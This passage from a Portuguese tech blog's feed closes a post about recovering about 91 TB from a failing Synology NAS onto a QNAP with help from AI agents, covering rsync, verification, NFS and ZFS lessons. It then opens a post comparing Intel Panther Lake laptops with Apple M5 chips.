<p>RAID-5 clássico, aliás, exige todos os discos do mesmo tamanho, e pra aumentar a capacidade eu teria que trocar todos de uma vez. O SHR foi o que me permitiu ir trocando um por vez ao longo dos anos. Por ironia, foi também o que me salvou de perder tudo de uma vez.</p>
<h2>Os dois erros<span class="hx:absolute hx:-mt-20" id="os-dois-erros"></span>
    <a href="#os-dois-erros" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Do jeito que eu entendi, são dois erros, um meu e um deles, e é aí que mora o desastre inteiro.</p>
<p><strong>O meu:</strong> subestimei o RAID-6, que na Synology se chama SHR-2. Com dois discos de paridade, a falha do disco 8 no meio da reconstrução seria só um susto. Eu troquei segurança por 20 TB de espaço e passei cinco anos achando que tinha feito bom negócio.</p>
<p><strong>O deles:</strong> pelos logs, o software sabia que o disco 8 estava falhando havia pelo menos um mês, e eu nunca recebi notificação nenhuma. Eu tenho notificação por e-mail configurada. E ela funciona: quando a situação crítica estourou, recebi uma enxurrada de e-mails. Este aqui, sobre os setores ruins do disco 8, chegou à uma da tarde de segunda, cinco horas depois do desastre:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/20261006120000_nas-synology-email-bad-sectors.png" alt="E-mail do Synology avisando que o número de setores ruins aumentou no disco 8, um Seagate ST22000NT001"  loading="lazy" /></p>
<p>Antes disso, nada. Nenhum aviso sobre o disco 8 até ele falhar de forma catastrófica.</p>
<p>Se eu tivesse recebido, jamais teria tentado trocar o disco 1 antes de substituir o 8. A situação toda era evitável, e foi resultado de um erro humano somado a algum bug de software.</p>
<p>Esse é o outro motivo de eu não ter comprado outra Synology. Tenho um princípio: se o cavalo me derruba, eu sacrifico o cavalo. Não dá pra confiar de novo.</p>
<h2>Onde estou agora<span class="hx:absolute hx:-mt-20" id="onde-estou-agora"></span>
    <a href="#onde-estou-agora" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Até aqui copiei uns 20 TB dos 90 TB originais, e o HBS 3 segue trabalhando. Ainda não sei se perdi algum dado de forma permanente. Espero que não, mas o mais provável é que eu tenha perdido o que estava na fatia de RAID que o engenheiro descreveu como caída.</p>
<p>Tenho backup offsite no AWS Glacier do que é mais importante, mas não de tudo.</p>
<p>Muita gente pergunta por que eu não uso S3 ou outro armazenamento em nuvem pra tudo. Devolvo a pergunta: pensa por dez segundos. Quanto tempo leva pra transferir 90 TB pela sua internet? Faz a conta:</p>
<ul>
<li>Com 1 gigabit de upload cravado, sem cair um segundo: mais de 8 dias.</li>
<li>Com 500 megabits: quase 17 dias.</li>
<li>Com 100 megabits, que é upload bom pra muita casa: 83 dias.</li>
</ul>
<p>E isso é pra subir. Na hora do desastre você precisa baixar tudo de volta, com o relógio correndo. Sem contar o aluguel: 90 TB em S3 padrão custam uns US$ 2 mil por mês no preço de tabela. Nuvem é ótima pro subconjunto crítico, que é como eu uso. Pro acervo inteiro, a física e a fatura não deixam.</p>
<h2>Lições<span class="hx:absolute hx:-mt-20" id="lições"></span>
    <a href="#li%c3%a7%c3%b5es" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Fui colocado numa situação impossível numa segunda de manhã, agi na hora do melhor jeito que consegui, e provavelmente vou sair dessa quase ileso. Vamos ver, o HBS 3 ainda está sincronizando. O que eu levo disso:</p>
<ol>
<li><strong>Paridade simples não basta pra disco grande.</strong> Com discos de 20 TB, a reconstrução leva dias e lê tudo. É nesse intervalo que o segundo disco costuma aparecer. RAID-6, SHR-2 ou RAIDZ2.</li>
<li><strong>Não confie só na notificação do fabricante.</strong> Olhe o SMART e o log dos discos antes de começar qualquer troca. Eu não olhei, porque confiava que seria avisado.</li>
<li><strong>Troque primeiro o disco doente, depois o disco pequeno.</strong> Upgrade de capacidade em array com disco suspeito é roleta.</li>
<li><strong>Deixe folga.</strong> Eu estava trocando disco porque o volume estava no teto. Alerta em 85% existe pra isso.</li>
<li><strong>Tenha pra onde copiar.</strong> A minha saída custou R$ 185 mil porque eu não tinha plano B. Um segundo NAS, mesmo modesto, com o que importa, teria me dado tempo pra comprar com calma.</li>
<li><strong>RAID não é backup.</strong> Eu sei disso, ensino isso, e mesmo assim só tinha offsite de uma parte.</li>
</ol>
<p>A cópia terminou e eu já sei o tamanho do estrago: zero. A recuperação completa vem a seguir.</p>
<h2>Seis dias depois: o final da história<span class="hx:absolute hx:-mt-20" id="seis-dias-depois-o-final-da-história"></span>
    <a href="#seis-dias-depois-o-final-da-hist%c3%b3ria" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando publiquei a primeira parte, eu tinha uns 20 TB copiados e nenhuma certeza. O desfecho: terminei de evacuar os ~91 TB, verifiquei arquivo por arquivo, e não perdi nada por acidente. Nem o que estava na fatia de RAID caída, porque ela continuou legível até o fim.</p>
<p>Quem operou a recuperação foram os meus dois agentes. O agente do desktop controla meu PC e os dois NAS por SSH, e o agente do homelab cuida do servidor onde rodam meus 57 containers. Os dois se coordenam por mensagem: um deixa relatório na caixa do outro, e eu acompanho a conversa.</p>
<p><img src="nas-ai-memory-agentes.png" alt="Terminal do agente do desktop consultando a caixa de mensagens do ai-memory, onde o agente do homelab deixa seus relatórios"  loading="lazy" /></p>
<p>Essa parte importa porque nada do que vem a seguir foi eu digitando comando. Eu tomei as decisões; eles executaram, mediram e erraram feio algumas vezes, como você vai ver.</p>
<h3>O HBS 3 estava me traindo quieto<span class="hx:absolute hx:-mt-20" id="o-hbs-3-estava-me-traindo-quieto"></span>
    <a href="#o-hbs-3-estava-me-traindo-quieto" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Na primeira parte eu contei que o HBS 3, puxando os compartilhamentos do Synology por CIFS, chegou a 400 MB/s depois dos ajustes. O que eu não sabia: velocidade era o menor dos problemas dele.</p>
<p>Dois defeitos apareceram quando o agente conferiu o inventário da origem contra o que o HBS reportava:</p>
<ul>
<li><strong>Ele não entrava onde não tinha permissão e não contava pra ninguém.</strong> O HBS monta o Synology como o meu usuário. O diretório <code>Bitcoin/data</code>, 901 GB com a wallet e o chainstate do meu nó, pertence ao uid 101 e é fechado pra qualquer outro. O CIFS não conseguia entrar ali, e o HBS reportava sucesso sem registrar a omissão. Um backup &ldquo;verde&rdquo; que deixa o nó de Bitcoin inteiro pra trás.</li>
<li><strong>Ele pulava arquivos com nome &ldquo;não suportado&rdquo;.</strong> 113 arquivos, registrados só numa tela de detalhe que ninguém abre durante uma cópia de dias.</li>
</ul>
<blockquote>
  <p>Ferramenta de backup que reporta sucesso omitindo o que não conseguiu ler é pior que uma que falha gritando. Verifique o backup contra um inventário independente da origem, nunca contra o log da própria ferramenta.</p>

</blockquote>
<p>Abandonamos o HBS. O agente abriu SSH nos dois NAS, habilitou o servidor rsync no QNAP e o Synology passou a empurrar direto pro rsyncd dele, sem nada passar pelo PC. O wrapper de cada job: <code>rsync -a --numeric-ids -W --partial --timeout=600</code>, tentativas com retry, e <strong>nunca <code>--delete</code></strong>. O <code>--numeric-ids</code> preservou os uids originais sem precisar de chown depois, o <code>--partial</code> fez qualquer interrupção virar continuação, e a ausência de <code>--delete</code> fez do destino sempre um superconjunto: re-shardar ou matar um job nunca custava dados.</p>
<h3>O gargalo não era o disco quebrado<span class="hx:absolute hx:-mt-20" id="o-gargalo-não-era-o-disco-quebrado"></span>
    <a href="#o-gargalo-n%c3%a3o-era-o-disco-quebrado" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Um contexto que faltou na primeira parte. Esse Synology nasceu com oito Seagate IronWolf de linha consumidora, e eu vinha trocando um por um por IronWolf Pro de 20 TB ao longo dos anos. A desgraça aconteceu exatamente num desses upgrades: eu troquei o disco 1 pelo Pro novo e, durante a reconstrução, o disco 8 falhou. Sobrou um único disco antigo no array: o disco 2.</p>
<p>E foi ele, não o disco 8, o gargalo da evacuação. Medido sob carga:</p>
<ul>
<li>Disco 2 (o consumidor antigo, com 37 mil horas de uso): 91% de utilização, entregando 27 MB/s, cada I/O demorando 4 a 15 vezes mais que os irmãos.</li>
<li>Os seis Pro: entre 34% e 45% de utilização, parados esperando ele.</li>
</ul>
<p>Em RAID-5 (e no SHR), uma leitura sequencial atravessa o stripe inteiro, e o stripe só completa quando o membro mais lento responde. Um disco lento limita o array inteiro: por causa dele, o array não passava de uns 200 MB/s enquanto seis discos bons sobravam. E o SMART dele estava limpo, zero setores realocados. Disco consumidor costuma vir sem limitação de tempo de recuperação de erro (ERC/TLER) ativa, então ele tenta reler setor marginal por segundos, internamente, sem contabilizar nada. O cache NVMe do Synology desviava parte da leitura dos pratos e ajudava a maquiar o sintoma.</p>
<blockquote>
  <p>O disco que falha e o disco que te atrasa não precisam ser o mesmo, e SMART &ldquo;PASSED&rdquo; não diz nada sobre latência. Array lento se diagnostica com utilização e tempo de resposta por disco, não com SMART.</p>

</blockquote>
<h3>Paralelizar rsync é ciência, não chute<span class="hx:absolute hx:-mt-20" id="paralelizar-rsync-é-ciência-não-chute"></span>
    <a href="#paralelizar-rsync-%c3%a9-ci%c3%aancia-n%c3%a3o-chute" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Primeiro instinto: mais streams. Errado, e por duas vezes.</p>
<p>Na primeira, um bug nosso: um relançamento &ldquo;limpo&rdquo; de jobs não matou nada, porque o <code>ps</code> do busybox do Synology trunca a linha de comando e o grep de verificação não achou os processos velhos. Resultado: 32 rsyncs rodando pra 7 destinos, quatro a cinco escritores por árvore, o QNAP com os buffers de recepção entalados, e o cabo transmitindo 516 MB/s enquanto o array lia 140. Depois da limpeza (enumerando <code>/proc/*/cmdline</code>, nunca mais confiando no <code>ps</code>), a vazão útil <strong>subiu</strong> de 140 pra 181 MB/s com a carga total desabando.</p>
<p>Na segunda, a medida inverteu o senso comum: com árvores de arquivo grande, menos streams eram mais rápidos, porque o tamanho médio de cada requisição de leitura triplicava e o array fazia corridas sequenciais longas em vez de ficar pulando de posição.</p>
<p>Só que árvore de arquivo pequeno é outro esporte. O <code>TERACHAD/Emulators</code> tem 21 TB em 3,4 milhões de arquivos com média de 6 MB: trabalho limitado por latência (stat, criação, metadados), não por banda. E ali a paralelização agressiva funcionou, com um detalhe: o shard certo se escolhe por <strong>contagem de arquivos</strong>, não por tamanho. Um único diretório, <code>ROMS_FINAL/xbox-hdd-ready</code>, segurava 995 mil dos 1,59 milhão de arquivos do ROMS_FINAL, com média de 1,7 MB por arquivo. Isolando ele dos ISOs multi-gigabyte:</p>
<table>
  <thead>
      <tr>
          <th>Configuração</th>
          <th style="text-align: right">GB/hora</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>stream único, média de 6 horas</td>
          <td style="text-align: right">~157</td>
      </tr>
      <tr>
          <td>dois shards</td>
          <td style="text-align: right">272</td>
      </tr>
      <tr>
          <td><strong>três shards</strong></td>
          <td style="text-align: right"><strong>436 a 501</strong></td>
      </tr>
  </tbody>
</table>
<p>De 2,8 a 3,2 vezes a vazão média do stream único, na mesma máquina, na mesma rede. E tem um motivo bonito: com o array faltando um membro, leituras de dados que não moram no disco 2 não precisam dele, então a concorrência extra deixava os outros discos trabalharem enquanto ele engasgava.</p>
<blockquote>
  <p>&ldquo;Mais paralelismo&rdquo; e &ldquo;menos paralelismo&rdquo; são as duas respostas erradas como regra geral. Trabalho limitado por banda se divide pouco; trabalho limitado por latência se divide muito, e por contagem de arquivos. Meça antes de escolher.</p>

</blockquote>
<h3>Copiar é metade do trabalho; provar é a outra metade<span class="hx:absolute hx:-mt-20" id="copiar-é-metade-do-trabalho-provar-é-a-outra-metade"></span>
    <a href="#copiar-%c3%a9-metade-do-trabalho-provar-%c3%a9-a-outra-metade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Cada job que terminava passava por um dry-run do mesmo rsync, com os mesmos excludes: zero arquivos precisando transferência significa destino idêntico por tamanho e data. E mesmo assim quase deu errado, porque <strong>a verificação herdava os excludes da cópia</strong>: uma árvore excluída da transferência ficava excluída da própria prova. Refazendo a checagem sem excludes, apareceram 952 arquivos e 191 GB faltando no Downloads (exatamente os lotes que eu tinha separado como &ldquo;única cópia existente&rdquo;) e os repositórios restic antigos, que um nome de diretório parecido no QNAP fingia cobrir: o ID interno dos repositórios provou que eram outros, não cópias.</p>
<p>Teve também deriva de origem: uma árvore verificada como completa recebeu 16 GB de checkpoints novos no Synology depois da checagem, e só a re-verificação final pegou. Verificação tem prazo de validade.</p>
<p>E uma decisão consciente, registrada pra ninguém me acusar de esconder: os históricos antigos de backup (uns 2 TB de snapshots restic e um set de duplicity de 2025) ficaram pra trás por escolha minha, porque os repositórios novos no QNAP já cobrem o mesmo conteúdo a partir de agora. Perda deliberada de histórico, não de dado.</p>
<p>Fecho da conta: <strong>17 jobs de rsync, todos exit 0, todos verificados, uns 5,9 milhões de arquivos byte-idênticos</strong>, e o desligamento do Synology só aconteceu depois de cada árvore provada.</p>
<p><img src="nas-homelab-containers-status.png" alt="Tabela de status da recuperação no meio do processo: os containers já liberados e os que seguiam segurados esperando a verificação do rsync de cada árvore"  loading="lazy" /></p>
<h3>Enquanto isso, no homelab<span class="hx:absolute hx:-mt-20" id="enquanto-isso-no-homelab"></span>
    <a href="#enquanto-isso-no-homelab" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Do outro lado da casa, o servidor marvin, que monta o NAS por NFS e roda os 57 containers, quase morreu de pé. NAS morto mais montagem NFS &ldquo;hard&rdquo; mais 57 containers reiniciando sozinhos deu uma fila infinita de I/O ininterruptível: a máquina respondia ping, mas o sshd não conseguia completar um handshake. E cada tentativa insistente de SSH só piorava, porque o OpenSSH pune fonte repetitiva aumentando o banimento. A gente batia na porta e a porta aumentava a tranca.</p>
<p>A saída foi parar de bater: pausei os torrents pela API do qBittorrent (que continuava respondendo), fui no console físico, desabilitei o Docker, reinicie, e o servidor voltou. Um watchdog que eu nem lembrava que existia tinha, sozinho, derrubado os 14 containers dependentes do NAS antes de qualquer banco corromper: o LevelDB do bitcoind abriu limpo na primeira tentativa.</p>
<p>A migração em si foi elegante: o fstab apontou pro QNAP e os pontos de montagem antigos viraram symlinks pra dentro do novo. <strong>Nenhum docker-compose mudou.</strong> Aí veio a pegadinha do NFS da QNAP: permissão é por cliente. O desktop estava liberado sem squash, mas as escritas do marvin caíam como uid 1001, bloqueando tudo que escreve no NAS. A primeira tentativa de correção ainda virou a montagem pra read-only no meio do primeiro backup restic, que sobreviveu na base do retry. Configuração final: leitura e escrita, sem squash pra ninguém, testada com <code>touch</code> e <code>ls -ln</code> de cada cliente, porque &ldquo;funcionou no desktop&rdquo; não prova nada sobre o servidor.</p>
<p><img src="nas-qnap-configurando-nfs.png" alt="Tela de permissões NFS do QNAP, com a regra por host pro servidor do homelab"  loading="lazy" /></p>
<p>Depois disso foi ressurreição árvore por árvore: cada serviço só subia quando a árvore dele estava verificada no QNAP. Em dois dias, 57 de 57 containers de volta, e um backup restic novinho rodando diariamente pro QNAP.</p>
<h3>O kernel novo derrubou o NVMe<span class="hx:absolute hx:-mt-20" id="o-kernel-novo-derrubou-o-nvme"></span>
    <a href="#o-kernel-novo-derrubou-o-nvme" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No meio da recuperação, um susto de graça do servidor. Sete minutos depois do backup noturno começar, o controlador NVMe sumiu em silêncio: todo binário tomou SIGBUS, Docker e sshd morreram, e nada restou gravado em lugar nenhum, porque o log mora no dispositivo que morreu. Nem kernel panic: só silêncio.</p>
<p>O mesmo workload tinha rodado bem horas antes no kernel 7.2.6 e morreu no 7.2.9. Desligar o APST (o gerenciamento de energia do NVMe) não resolveu: segunda queda idêntica, regressão do 7.2.9 confirmada por eliminação. O MicroOS é transacional e baseado em snapshot, então o rollback foi um reboot pra linhagem 7.2.6, não uma reinstalação. As atualizações automáticas ficaram propositalmente quebradas naquela linhagem pra ninguém voltar pro 7.2.9 sem supervisão, e o teste do 7.2.8 fica pra quando eu puder sentar do lado.</p>
<blockquote>
  <p>Sistema operacional transacional transforma regressão de kernel em reboot. Sem snapshot de sistema, essa noite teria custado muito mais caro.</p>

</blockquote>
<h3>O susto do thick provisioning<span class="hx:absolute hx:-mt-20" id="o-susto-do-thick-provisioning"></span>
    <a href="#o-susto-do-thick-provisioning" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>No QNAP, a cópia inteira rodou sem snapshot nenhum: numa migração em massa, snapshot é peso morto. Terminada a cópia, fui ligar a agenda de snapshots do ZFS e tomei um erro seco: &ldquo;pool free space is not enough&rdquo;. Com 20 TB livres.</p>
<p><img src="nas-qnap-thick-thin-erro-snapshot.png" alt="Erro do QNAP ao tentar criar snapshot: espaço livre do pool insuficiente, mesmo com terabytes livres"  loading="lazy" /></p>
<p>As duas afirmações eram verdade sobre coisas diferentes. A pasta CHAD tinha sido criada como <strong>thick</strong>: dos 100 TB de quota, o ZFS reserva os 100 TB, e pra tirar snapshot de um dataset com reserva, o pool precisa garantir espaço pra sobrescrever todos os blocos referenciados enquanto o snapshot prende as cópias velhas. Na conta: 80 TB escritos mais 100 TB reservados, contra 126 TB utilizáveis do pool. Não fecha. E o <code>df</code> mente dos dois lados, porque mede a pasta contra a quota, não contra o pool.</p>
<p>A correção foi converter a pasta pra <strong>thin</strong>, que o QuTS hero faz in-place, escondido na tela de Management da pasta, não no diálogo de edição onde &ldquo;Thick&rdquo; parece texto estático. Em thin, o número vira teto em vez de reserva: a reserva de 10 TB evaporou, o pool passou a ter 39 TB livres, e o primeiro snapshot saiu consumindo 334 KB sobre 79,9 TB referenciados. O ZFS não precisava de quase nada; a reserva é que exigia garantia de 100 TB pra autorizar.</p>
<p><img src="nas-qnap-chad-properties.png" alt="Propriedades da pasta CHAD depois da conversão, já como thin"  loading="lazy" /></p>
<p>Agora o QNAP tem agenda de snapshots com política de retenção, como devia ser desde o primeiro dia:</p>
<p><img src="nas-qnap-snapshot-schedule.png" alt="Agenda de snapshots da pasta CHAD no QNAP"  loading="lazy" /></p>
<p><img src="nas-qnap-snapshot-retention.png" alt="Política de retenção dos snapshots: quantos guardar por dia, semana e mês"  loading="lazy" /></p>
<p>Duas notas de rodapé pra quem montar um desses. Se a sua pasta thin tiver alerta de 80%, suba a quota pra folga estética, porque o alerta mede contra a quota e não contra o pool. E o gargalo real desse QNAP é RAM: 7 GB pra um pool de 174 TB. O mínimo oficial do QuTS hero é 8 GB, e a prática recomendada pra esse porte é 16 pra cima. O tamanho do cache ARC governa a velocidade de metadados, e foi por isso que as varreduras de árvore inteira durante a migração eram lentas. Upgrade de RAM vale mais que qualquer ajuste fino.</p>
<h3>O Synology nasce de novo<span class="hx:absolute hx:-mt-20" id="o-synology-nasce-de-novo"></span>
    <a href="#o-synology-nasce-de-novo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Com tudo verificado no QNAP, o Synology finalmente pôde ser operado. Troquei os discos 2 e 8 por IronWolf Pro novos, apaguei o pool ferido e recriei do zero, desta vez em <strong>SHR-2</strong>, o modo com dois discos de paridade, o RAID-6 deles. O pool novo saiu com 100 TB, todos os discos saudáveis:</p>
<p><img src="nas-synology-pool-novo-saudavel.png" alt="Storage Manager do Synology mostrando o pool novo SYNOCHAD em SHR com tolerância a dois discos, 100 TB e todos os discos Healthy"  loading="lazy" /></p>
<p>Ele volta a trabalhar como alvo de réplica, e não mais como ponto único de falha. O QNAP segue como principal, em RAIDZ2, com 87 TB dos 126 TB usados e os snapshots agendados:</p>
<p><img src="nas-qnap-storage-manager-final.png" alt="Storage Manager do QNAP com o pool RAID 6 Ready e a pasta CHAD em thin com 79,9 TB de 95 TB"  loading="lazy" /></p>
<h3>O que eu levo da segunda metade<span class="hx:absolute hx:-mt-20" id="o-que-eu-levo-da-segunda-metade"></span>
    <a href="#o-que-eu-levo-da-segunda-metade" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ol>
<li><strong>Desconfie do sucesso silencioso.</strong> O HBS reportava verde enquanto deixava 901 GB pra trás. Backup se verifica contra inventário da origem.</li>
<li><strong>SMART não mede lentidão.</strong> O disco que quase matou a evacuação estava &ldquo;saudável&rdquo;. Utilização e latência por disco contam a verdade.</li>
<li><strong>Paralelismo se calibra medindo.</strong> Bandwidth-bound divide pouco, latency-bound divide muito, e o shard se escolhe por contagem de arquivos.</li>
<li><strong>Verificação não herda exclude.</strong> Se a prova usa os mesmos filtros da cópia, ela só reafirma as suposições da cópia. E verifique de novo imediatamente antes de destruir a origem.</li>
<li><strong>Permissão de NFS é por cliente.</strong> Teste escrita de cada máquina que vai usar.</li>
<li><strong>Não bata repetidamente num sshd morrendo.</strong> Cada tentativa alonga o banimento. Uma tentativa paciente, ou console físico.</li>
<li><strong>O reparo perigoso vem por último.</strong> O array ficou degradado e lento até o último byte estar provado em outro lugar; só então reconstruir deixou de custar qualquer coisa.</li>
</ol>
<p>Saí dessa melhor protegido do que entrei: dois NAS, cada um com seu RAID-6, snapshots agendados no QNAP, restic diário, e o Glacier pro que é crítico. O desastre me custou um QNAP, dois discos e uma semana. Podia ter custado 90 TB.</p>
]]></content:encoded><category>armazenamento-e-backup</category><category>homelab</category><category>hardware</category></item><item><title>A Volta da Intel: ARM64 vs X86-64 não é como você imagina</title><link>https://www.akitaonrails.com/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/08/11/a-volta-da-intel-arm64-vs-x86-64-nao-e-como-voce-imagina/</guid><pubDate>Tue, 11 Aug 2026 10:00:00 -0300</pubDate><description>&lt;p&gt;Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Desde janeiro, quando os primeiros laptops com Panther Lake chegaram às lojas, os reviews vêm repetindo uma frase que há cinco anos soaria absurda: um chip Intel x86 batendo de frente com o Apple M5. Não em tudo — já chego nos poréns — mas no quesito que mais importa no dia a dia, bateria, o jogo virou. E isso me dá a desculpa perfeita pra escrever sobre uma crença que vejo programador repetir sem checar: a de que eficiência de verdade só vem com ARM64, porque o x86 é velho, pesado e cheio de entulho de 1978.</p>
<p>Minha tese: isso era verdade gerações atrás, quando decodificar x86 custava uma fatia relevante da pastilha (o <em>die</em>). Hoje o x86 é, na prática, uma camada de tradução pra micro-instruções — e o que separa Apple, Qualcomm e Intel nunca foi o conjunto de instruções. A crise da Intel foi gerencial e de fábrica, não arquitetural. E é por isso que a volta dela, agora, faz sentido.</p>
<h2>O que os reviews mostram<span class="hx:absolute hx:-mt-20" id="o-que-os-reviews-mostram"></span>
    <a href="#o-que-os-reviews-mostram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Os laptops Panther Lake (Core Ultra série 3, lançados na CES em 5 de janeiro e à venda desde 27 de janeiro) entregam números que a era Meteor/Arrow Lake não sonhava. Começando por bateria — Dell XPS 14 2026 (Core Ultra X7 358H) contra MacBook Air 15 (M5):</p>
<table>
  <thead>
      <tr>
          <th>Teste de bateria</th>
          <th>Dell XPS 14 (Panther Lake)</th>
          <th>MacBook Air 15 (M5)</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/43-hours-battery-life-Dell-XPS-14-2026-lasts-almost-3x-longer-vs-MacBook-Air-15-M5-in-web-browsing-test.1262947.0.html"target="_blank" rel="noopener">Hardware Canucks</a>, com VRR)</td>
          <td><strong>43 horas</strong></td>
          <td>14h30</td>
      </tr>
      <tr>
          <td>Navegação web (<a href="https://www.notebookcheck.net/Dell-XPS-14-2026-with-Intel-Panther-Lake-delivers-55-longer-battery-life-vs-2025-Dell-14-Premium.1225329.0.html"target="_blank" rel="noopener">Notebookcheck</a>, outra metodologia)</td>
          <td>16h45 (+55% vs modelo 2025)</td>
          <td>17h12</td>
      </tr>
      <tr>
          <td>YouTube 4K</td>
          <td><strong>20h21</strong></td>
          <td>14h</td>
      </tr>
      <tr>
          <td>Carga pesada (game)</td>
          <td>2h30</td>
          <td><strong>4h10</strong></td>
      </tr>
  </tbody>
</table>
<p>Leitura honesta: em uso leve, o Dell empata ou passa; em carga sustentada, a Apple continua imbatível. E o DHH publicou que seu XPS 14 rodando Omarchy Linux passa de 16 horas de uso real, com consumo em repouso de 1,4W — a Dell fez questão de <a href="https://www.dell.com/en-us/blog/year-of-the-linux-laptop-omarchy-on-xps/"target="_blank" rel="noopener">suporte a Linux desde o dia um</a>.</p>
<p>Na CPU, o topo de linha Core Ultra X9 388H contra o M5 (<a href="https://www.notebookcheck.net/Intel-Panther-Lake-Core-Ultra-X9-388H-performance-analysis-Outpaces-Arrow-Lake-and-exceeds-Zen-5-in-efficiency.1212583.0.html"target="_blank" rel="noopener">dados da Notebookcheck</a>):</p>
<table>
  <thead>
      <tr>
          <th>Métrica</th>
          <th>Core Ultra X9 388H</th>
          <th>Apple M5</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Cinebench 2024 multi-core</td>
          <td>~1.162</td>
          <td>~1.172 (<strong>empate estatístico</strong>)</td>
      </tr>
      <tr>
          <td>Cinebench 2024 single-core</td>
          <td>~130</td>
          <td><strong>200</strong> (~30% à frente)</td>
      </tr>
      <tr>
          <td>Eficiência single-core</td>
          <td>5,17 pts/watt</td>
          <td><strong>13,1 pts/watt</strong></td>
      </tr>
      <tr>
          <td>Eficiência multi-core limitado a 20W</td>
          <td>24,6 pts/watt</td>
          <td>24,8 (M4)</td>
      </tr>
  </tbody>
</table>
<p>Single-core continua território da Apple, que faz o mesmo trabalho <strong>com um terço da energia</strong>. Mas em multi-core moderado, a Intel encostou. Contra a AMD (Ryzen AI 9 465) o 388H ganha em tudo; contra o Snapdragon X Elite de primeira geração também; o X2 Elite Extreme, que chegou em 2026, já devolveu a coroa de CPU Windows pra Qualcomm (+24% em single-core). Honestidade acima de tudo.</p>
<p>Na GPU, o veredito é mais misto que o marketing da Intel sugere:</p>
<table>
  <thead>
      <tr>
          <th>Confronto da Arc B390</th>
          <th>Resultado</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>vs Radeon 890M (AMD)</td>
          <td><a href="https://videocardz.com/newz/intel-arc-b390-beats-amds-mainstream-igpus-and-nears-rtx-4050-level-performance-in-some-tests"target="_blank" rel="noopener">+63 a 80%</a></td>
      </tr>
      <tr>
          <td>vs RTX 4050 de laptop</td>
          <td>empate técnico</td>
      </tr>
      <tr>
          <td>vs Strix Halo (AMD) a 15-20W</td>
          <td><a href="https://www.notebookcheck.net/No-chance-for-AMD-Intel-Panther-Lake-Core-Ultra-X9-388H-trounces-AMD-Strix-Halo-at-low-power-signaling-handheld-gaming-domination-in-2026.1213244.0.html"target="_blank" rel="noopener">vence</a></td>
      </tr>
      <tr>
          <td>vs GPU do M5 base</td>
          <td>vence em desempenho, perde em fps/watt</td>
      </tr>
      <tr>
          <td>vs M5 Pro / M5 Max</td>
          <td><a href="https://nanoreview.net/en/gpu-compare/intel-arc-b390-vs-apple-m5-max-gpu-40-core"target="_blank" rel="noopener">17 contra 24 e 44</a> — sem chance</td>
      </tr>
  </tbody>
</table>
<p>O resumo da <a href="https://arstechnica.com/gadgets/2026/02/intel-panther-lake-core-ultra-review-intels-best-laptop-cpu-in-a-very-long-time/"target="_blank" rel="noopener">Ars Technica</a> é o mais justo: &ldquo;o melhor CPU de laptop da Intel em muito tempo&rdquo; — com a ressalva de que a Intel precisa provar que isso é o novo normal, não uma aberração.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> bateria de MacBook num laptop x86 aconteceu — em uso leve. Em single-core e sob carga pesada, a Apple ainda dita o ritmo.</p>

</blockquote>
<h2>A crença: &ldquo;pra ser eficiente tem que ser ARM&rdquo;<span class="hx:absolute hx:-mt-20" id="a-crença-pra-ser-eficiente-tem-que-ser-arm"></span>
    <a href="#a-cren%c3%a7a-pra-ser-eficiente-tem-que-ser-arm" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Todo programador já ouviu a explicação: ARM tem conjunto de instruções simples, de tamanho fixo, elegante. O x86 é uma quimera acumulada desde 1978, com instruções de tamanho variável, modo real, segmentação, décadas de bagunça. &ldquo;Portanto&rdquo; ARM é inerentemente mais eficiente, e o caminho pra qualquer um chegar na eficiência da Apple ou da Qualcomm é migrar pra ARM64.</p>
<p>Tem verdade aí: o x86 carrega entulho histórico, e decodificar instrução de tamanho variável é objetivamente mais chato que decodificar instrução fixa de 32 bits. O erro está na conclusão. Essa diferença importava quando a lógica de decodificação ocupava uma fração significativa do chip. Isso faz muito tempo.</p>
<blockquote>
  <p><strong>Pra guardar:</strong> a diferença entre ISAs importava quando a decodificação ocupava uma fração relevante da pastilha. Isso acabou há gerações.</p>

</blockquote>
<h2>O x86 virou camada de tradução em 1995<span class="hx:absolute hx:-mt-20" id="o-x86-virou-camada-de-tradução-em-1995"></span>
    <a href="#o-x86-virou-camada-de-tradu%c3%a7%c3%a3o-em-1995" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Pentium Pro, de novembro de 1995, já não executava x86 diretamente: ele traduzia cada instrução CISC pra micro-operações internas estilo RISC e executava essas. A AMD fez o mesmo com o K5 em 1996 (as &ldquo;ROPs&rdquo;). Ou seja: faz <strong>trinta anos</strong> que &ldquo;executar x86&rdquo; significa &ldquo;traduzir pra outra coisa e executar a outra coisa&rdquo;. O x86 é uma interface de compatibilidade, uma camada de tradução sobre um motor RISC. E os números mostram o quanto essa camada ficou barata:</p>
<table>
  <thead>
